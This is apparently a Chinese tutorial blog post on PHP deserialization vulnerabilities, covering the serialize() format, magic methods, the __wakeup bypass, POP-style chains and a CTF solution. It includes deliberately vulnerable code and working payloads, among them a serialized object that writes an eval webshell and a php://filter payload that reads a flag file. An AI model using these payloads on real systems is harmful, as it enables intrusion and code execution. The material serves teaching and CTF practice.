1.序列化与反序列化

php中有两个函数serialize()和unserialize()

序列化serialize():

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。测试代码如下;

<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

这边我们创建了一个新的对象,并且将其序列化后的结果打印出来:

O:7:"chybeta":1:{s:4:"test";s:3:"123";}

序列化字符串格式:

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示;
变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示;
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

上面有我们对象生成的序列化字符串可以理解为:

O: ==>参数类型为对象;
7:"chybeta":1 ==>对象的类名长度为7,类名为chybeta,类属性个数为1;
{s:4:"test";s:3:"123";}==>类里面的参数类型为字符串,属性变量长度为4,变量名为test,变量值为string,变量值长度为3,变量值为‘123’

如定义了一个数组:

$ar=array('name'=>'bob','sex'=>'man');
echo serialize($ar);

输出的序列化为:a:2:{s:4:"name";s:3:"bob";s:3:"sex";s:3:"man";}

反序列化unserialize():

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)。

<?php
class chybeta{
var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'; print_r($class2);
echo "</br>";
$class2_unser = unserialize($class2);
print_r($class2_ser);
?>

输出来就为恢复过来的对象。

当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

属性类型不同序列化出来的长度跟值不同:

属性类型假设定义了如下:

假如类名为Ccs
var $vva='test';
public $vva='test';
private $vva='test';
protected $vva='test';

那么前两个var和public属性类型序列化出来就是正常的 {s:3:"vva";s:4:"test";},属性名长度不变;

private属性类型的序列化出来属性名长度会变,因为属性名的前面会加上%00Ccs%00,即两个空白符加类名。如下:

局部序列化为:O:3:"Ccs":1:{s:8:"%00Ccs%00vva";s:4:"test";}

如果是protected类型,那么将在属性名前面加\00*\00,长度为3+属性名长度,即=6

注:php7.1对属性类型不敏感,可以互相替换。

2.魔法方法

反序列化漏洞中常见到有一些魔术方法:

__construct():在对象创建时自动被调用;

__destruct():在脚本运行结束时自动被调用;

__wakeup():在反序列化为对象时自动被调用;

__sleep():在对象序列化的时候自动被调用;

__toString(): 直接输出对象引用时自动被调用;

能控制传入unserialize()函数的序列化字符时,如果在正常创建类的情况下,将会先执行_construct(),再_wakeup(),然后_destruct。

_wakeup()漏洞:

unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。

漏洞核心:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

但是会执行_destruct()方法,因此我们想绕过_wakeup()方法,直接利用_destruct方法执行的话,那么我们可以利用这个漏洞。

假如遇到如下代码:

<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}?>

代码的是每次反序列化是都会调用__wakeup从而把$a值清空。但是,如果我们绕过wakeup不就能写Shell了。

我们利用serialize函数先将我们需要的序列化给打印出来:

$test=new A();
$test->a="<?php eval($_POST["hp"]);?>";
echo serialize($test);

输出的序列化值为:

O:1:"A":1:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

将1改为2即可绕过wakeup:

O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

当然也可以手写。

3.反序列化漏洞

由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。比如说利用_wakeup()漏洞。

3.1利用魔法方法

由前可以看到,unserialize()后会导致__wakeup() 或__destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup() 或__destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:

<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

同目录下有个空的shell.php文件。一开始访问index.php是空白。

基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:

<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class4 = new chybeta();
$class4->test = "<?php phpinfo(); ?>"; $class4_ser = serialize($class4); print_r($class4_ser);
?>

由此都到序列化poc: O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}

这种一个类的序列化poc其实可以用手写,但是利用serialize()函数输出来的序列化更准确。

3.1利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。给个index.php

<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

下面是利用过程。构造序列化脚本:

<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>

得到序列化poc:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

传给index.php的test参数,利用成功:

4.一道ctf练习题

首先是index.php:

<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
} ?> <!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
?>

然后还给出了class.php

<?php

class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>

这里include由于正则的原因不能直接读取fla9.php,需要包含class.php,然后再利用反序列化读取fla9.php,user利用php伪协议过判断。

构造序列化:O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

然后传给pass变量,最后payload为:

?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

然后post数据为:the user is admin

参考链接:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

谈一谈php反序列化的更多相关文章

  1. 谈一谈Java8的函数式编程(二) --Java8中的流

    流与集合    众所周知,日常开发与操作中涉及到集合的操作相当频繁,而java中对于集合的操作又是相当麻烦.这里你可能就有疑问了,我感觉平常开发的时候操作集合时不麻烦呀?那下面我们从一个例子说起. 计 ...

  2. 谈一谈泛型(Generic)

    谈一谈泛型 首先,泛型是C#2出现的.这也是C#2一个重要的新特性.泛型的好处之一就是在编译时执行更多的检查. 泛型类型和类型参数 ​ 泛型的两种形式:泛型类型( 包括类.接口.委托和结构 没有泛型枚 ...

  3. 从一张图开始,谈一谈.NET Core和前后端技术的演进之路

    从一张图开始,谈一谈.NET Core和前后端技术的演进之路 邹溪源,李文强,来自长沙.NET技术社区 一张图 2019年3月10日,在长沙.NET 技术社区组织的技术沙龙<.NET Core和 ...

  4. 谈一谈Elasticsearch的集群部署

      Elasticsearch天生就支持分布式部署,通过集群部署可以提高系统的可用性.本文重点谈一谈Elasticsearch的集群节点相关问题,搞清楚这些是进行Elasticsearch集群部署和拓 ...

  5. 谈一谈iOS事件的产生和传递

    谈一谈iOS事件的产生和传递 1.事件的产生 发生触摸事件后,系统会将该事件加入到一个由UIApplication管理的事件队列中. UIApplication会从事件队列中取出最前面的事件,并将事件 ...

  6. 谈一谈对MySQL InnoDB的认识及数据库事物处理的隔离级别

    介绍: InnoDB引擎是MySQL数据库的一个重要的存储引擎,和其他存储引擎相比,InnoDB引擎的优点是支持兼容ACID的事务(类似于PostgreSQL),以及参数完整性(有外键)等.现在Inn ...

  7. 谈一谈APP版本号问题

    如题:谈一谈APP版本号问题 为什么要谈这个问题,周五晚上11~12点,被微信点名,说APP有错,无效的版本号,商城无法下单.我正在准备收拾东西,周末回老家,结果看到这样问题,菊花一紧.我擦,我刚加的 ...

  8. 谈一谈深度学习之semantic Segmentation

    上一次发博客已经是9月份的事了....这段时间公司的事实在是多,有写博客的时间都拿去看paper了..正好春节回来写点东西,也正好对这段时间做一个总结. 首先当然还是好好说点这段时间的主要工作:语义分 ...

  9. 蓝的成长记——追逐DBA(5):不谈技术谈业务,恼人的应用系统

    ***************************************声明*************************************** 个人在oracle路上的成长记录,当中 ...

  10. 谈一谈并查集QAQ(上)

    最近几日理了理学过的很多oi知识...发现不知不觉就有很多的知识忘记了... 在聊聊并查集的时候顺便当作巩固吧.... 什么是并查集呢? ( Union Find Set ) 是一种用于处理分离集合的 ...

随机推荐

  1. ASP.NET Core 2.2 WebApi 系列【九】使用SignalR (作者:tenghao510 ) 学习及内容补充

    原文地址:  ASP.NET Core 2.2 WebApi 系列[九]使用SignalR 今天,看到了大牛的这篇博文,  发了一下评论, 我很惊喜, 没想到他很快就回复了我,  而且通过QQ帮助了S ...

  2. Go语言实现:【剑指offer】连续子数组的最大和

    该题目来源于牛客网<剑指offer>专题. HZ偶尔会拿些专业问题来忽悠那些非计算机专业的同学.今天测试组开完会后,他又发话了:在古老的一维模式识别中,常常需要计算连续子向量的最大和,当向 ...

  3. D语言-随机数游戏

    由于不会D语言的随机数,干脆core.stdc.stdlib调用stdlib.h 这里mark一下,类型转换是cast(D语言类型) NULL不能用,要用null import std.stdio; ...

  4. postman之存储测试结果

    前言 在Jmeter的随笔中,我跟大家讲过利用Jmeter工具存储测试结果,那么,postman工具要该如何存储测试结果呢?下面一起来学习吧! 一:添加一个登录请求,填入接口参数点击send 二:点击 ...

  5. 从Golang中open的实现方式看Golang的语言设计

    Golang有很多优点: 开发高效:(C语言写一个hash查找很麻烦,但是go很简单) 运行高效:(Python的hash查找好写,但比Python高效很多) 很少的系统库依赖:(环境依赖少,一般不依 ...

  6. Hession矩阵(整理)

    二阶偏导数矩阵也就所谓的赫氏矩阵(Hessian matrix). 一元函数就是二阶导,多元函数就是二阶偏导组成的矩阵. 求向量函数最小值时用的,矩阵正定是最小值存在的充分条件. 经济学中常常遇到求最 ...

  7. Apache 容器 Directory Location Files 及htaccess文件

    配置段容器的类型 相关模块 core mod_proxy 相关指令 <Directory> <DirectoryMatch> <Files> <FilesMa ...

  8. HDU 1042 大数阶乘

    B - 2 Time Limit:5000MS     Memory Limit:262144KB     64bit IO Format:%I64d & %I64u Submit Statu ...

  9. 用原生JS&PHP简单的AJAX实例

    功能介绍: 1)file.html 使用 xmlhttp 请求服务器端文件 text ,并更新 file.html 的部分内容 2)update.html 使用 xmlhttp 通过 filewrit ...

  10. js循环小练习

    function fn(){ //打印三角形 for(var i = 1 ; i <= 30 ; i++){ for(var x = 1; x <= i; x++ ){ document. ...